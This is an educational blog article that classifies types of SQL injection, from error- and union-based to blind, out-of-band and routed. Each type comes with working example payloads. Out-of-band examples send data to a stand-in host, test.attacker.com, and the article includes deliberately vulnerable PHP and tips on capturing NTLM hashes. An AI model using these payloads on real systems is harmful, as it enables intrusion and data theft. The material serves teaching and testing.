security

Types of SQL Injection

noraj (Alexandre ZANNI)
, ,
🇬🇧

SQL Injection, also known as SQLi, is one of the most common vulnerabilities in web application.

Goal of the article#

The goal of this article is not to explain what is an SQL injection or how they work but to show the different categories and types of SQLi.

So this article assumes you already know what is an SQL injection and how works a basic SQLi. If it's not the case you can read the Acunetix article about SQL injection.

In-band SQLi#

In-band SQL Injection, also known as Classic SQLi, is the most common type of SQLi. This is also the easiest SQLi because this kind of attack occurs when the same communication channel is used to both launch the attack and gather results.

Typically in a vulnerable web application, the attacker will send his payload via a GET or POST HTTP request and the leaked data will be inserted into the page returned by the web server.

Error-based SQLi#

Error-based SQL injection is an in-band SQLi technique that relies on error messages thrown by the database server to obtain information.

The attacker deliberately inject a payload that will result in a malformed SQL query to trigger an error from the database. With this error the attacker will obtain information about the structure of the database and sometimes will allow him to enumerate an entire database (dump). Once the attacker has knowledge about the database structure, he can forge a payload resulting into a valid SQL query in order to get the result.

This kind of SQLi relies on a bad configuration of the web server or of the web application, because showing errors is very useful during the development phase but errors displaying should be disabled on a production website or logged into a file with restricted access.

Related resources:

Example of payloads:

1
2
3
4
.php?id=3′
.php?id=3 order by 10
.php?id=3 order by 9
.php?id=3 order by 8

Union-based SQLi#

Union-based SQL injection is an in-band SQLi technique that leverages the UNION SQL operator to combine the results of several SELECT statements into a single result.

The attacker is able to retrieve data by concatenating the result of the initial statement with the result of additional statements he can control.

Related resources:

Example of payloads:

1
2
3
4
.php?id=3 union select 1,2,3,4,5,6,7,8
.php?id=3 union select 1,2,3,version(),5,6,7,8
.php?id=3 union select 1,2,3,table_name,5,6,7,8 from information_schema.tables
.php?id=3 union select 1,2,3,column_name,5,6,7,8 from information_schema.columns where table_name=users

Inferential SQLi#

Inferential SQL injection also known as Blind SQLi is an attack where no data is displayed in the web page unlike in in-band SQLi.

So the attacker can't directly see the result of his attack. The attacker can deduce and reconstruct the data by observing the web application's response and behavior.

Boolean-based Blind SQLi#

Boolean-based Blind SQL injection also known as Content-based Blind SQLi is an inferential SQLi technique where the attacker is sending an SQL query to the database like for in-band SQLi, but instead of answering the result, the web application will return a different result depending on whether the query returns TRUE or FALSE.

Depending on the result of the query, the content within the HTTP response will change, or remain the same. For example, the normal page is shown when the query results in a TRUE and an error, a blank page, or another content when the query results in a FALSE.

The different behaviors of the web application allow the attacker to infer the result. The attacker can observe a difference between answers, the HTTP response status code, redirections, ...

This attacker is slower than in-band SQLi because the attacker needs to enumerate the data character by character.

Related resources:

Example of payloads:

1
2
SELECT substring(version(),1,1)=5
SELECT ascii(substring((SELECT message from log_table limit 0,1),1,1))=114

Time-based Blind SQLi#

Time-based Blind SQL injection is an inferential SQLi technique where the attacker is sending an SQL query that forces the database to wait several seconds before responding.

The attacker infers if the result is TRUE or FALSE by observing if there is a delay or not from the server response.

This attack relies on SQL functions from different SQL dialects like ones that explicitly allow to wait a certain amount of time (ex: SLEEP() in MySQL, WAITFOR DELAY in MS SQL Server, pg_sleep() in PostgreSQL) or functions that trick the database to wait by using a time consuming command like benchmark() combined with encode() or md5() or some other heavy queries in some dialects.

This attacker is slower than in-band SQLi because the attacker needs to enumerate the data character by character.

Related resources:

Example of payloads:

1
2
SELECT IF(user() LIKE 'root@%', SLEEP(5), null)
SELECT IF(user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null)

Out-of-band SQLi#

Out-of-band SQL injection also known as OOB SQLi is a rare SQLi attack because it relies on features being enabled on the database that are disabled by default.

In opposition with in-band SQLi, out-of-band SQLi occurs when the attacker is unable to use the same channel to launch the attack and gather results.

OOB SQLi techniques can be more reliable than some inferential SQLi for example when there is an unstable or overloaded server, a big network latency, etc... that results into unreliable delay to execute a time-based SQLi. OOB SQLi techniques can also be quicker than inferential SQLi because the attacker is not forced to extract the content character by character but may be able to extract it chunk by chunk or entirely.

OOB SQLi often relies on the ability for the database server's ability to make DNS or HTTP requests to external resources (in this case controlled by the attacker) and sometimes even to send a mail or execute a system command. For example xp_dirtree command is an undocumented stored procedure to create folders in MS SQL Server that can be used to make DNS requests; UTL_HTTP package in Oracle database makes HTTP callouts from SQL and PL/SQL; SELECT … INTO OUTFILE and SELECT … INTO DUMPFILE statements in MySQL that can be used to log some results into local files or on shared file system.

Related resources:

Example of payloads:

1
2
products.aspx?id=1;EXEC master..xp_dirtree '\\test.attacker.com\' --
products.aspx?id=1||UTL_HTTP.request('http://test.attacker.com/'||(SELECT user FROM DUAL)) --

Routed SQLi#

Routed SQL Injection can be In-band, Inferential or Out-of-band. It is a special kind of SQLi attack where the injectable query is not the one which is leaking the data but the output of this query is the input of another query that is giving the final data leakage.

The following piece of PHP code from Zenodermus Javanicus illustrates how the vulnerability can be implemented on the server-side.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
$id = $_GET['id'];
$query = "SELECT id,sec_code FROM users WHERE id='$id'";

if (!$result = mysql_query($query, $conn)) die("Error While Selection process : " . mysql_error());

if (mysql_num_rows($result) == 0) die();
$row = mysql_fetch_array($result, MYSQL_ASSOC);
$query = "SELECT username FROM users WHERE sec_code='" . $row['sec_code'] . "'";
echo "<br /><font color=red>This is the query which gives you Output : </font>$query<br /><br />";

if (!$result = mysql_query($query, $conn)) die("Error While Selection process : " . mysql_error());

if (mysql_num_rows($result) == 0) die("Invalid Input parameter");
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo 'Username is : ' . $row['username'] . "<br />"; ?>

First, a classical SQLi attack can be conducted to deduce the number of columns of the first query.

Then, the first part of the first query need to be voided with something like and false or and 1=0 so this will output 0 rows. Using UNION SELECT in the second part of the first query will allow to control the output.

Example of payload:

1
?user=john' AND FALSE UNION SELECT 1,2,3-- -

But instead of injecting dummy data in the second query, it is needed to encode the nested payload as hexadecimal to carry it.

Example of payload:

1
?user=john' AND FALSE UNION SELECT 1,0x220756e696f6e2073656c65637420757365722c70617373776f72642d2d202d,3-- -

It is needed to encode the nested payload to avoid it interfering with the root query. The goal is to use UNION SELECT in the first query to display a SQL payload as an input of the second query. So the decoded version of 0x220756e696f6e2073656c65637420757365722c70617373776f72642d2d202d (' union select user,password-- -) will be injected in the second query. Routing the payload from a query to another.

Bonus#

LOAD DATA statement and load_file() function in MySQL work fine with UNC paths under Windows, this can be used to resolve a non-existing path and when DNS fails the request will be sent as an LLMNR, NetBIOS-NS query. By poisoning the LLMNR protocol the attacker can capture the NTLMv2 hash.

xp_cmdshell() function in MS SQL Server can lead to command execution on the system if enabled.

I'm not affiliated with Acunetix or other websites in any way.

Source

Share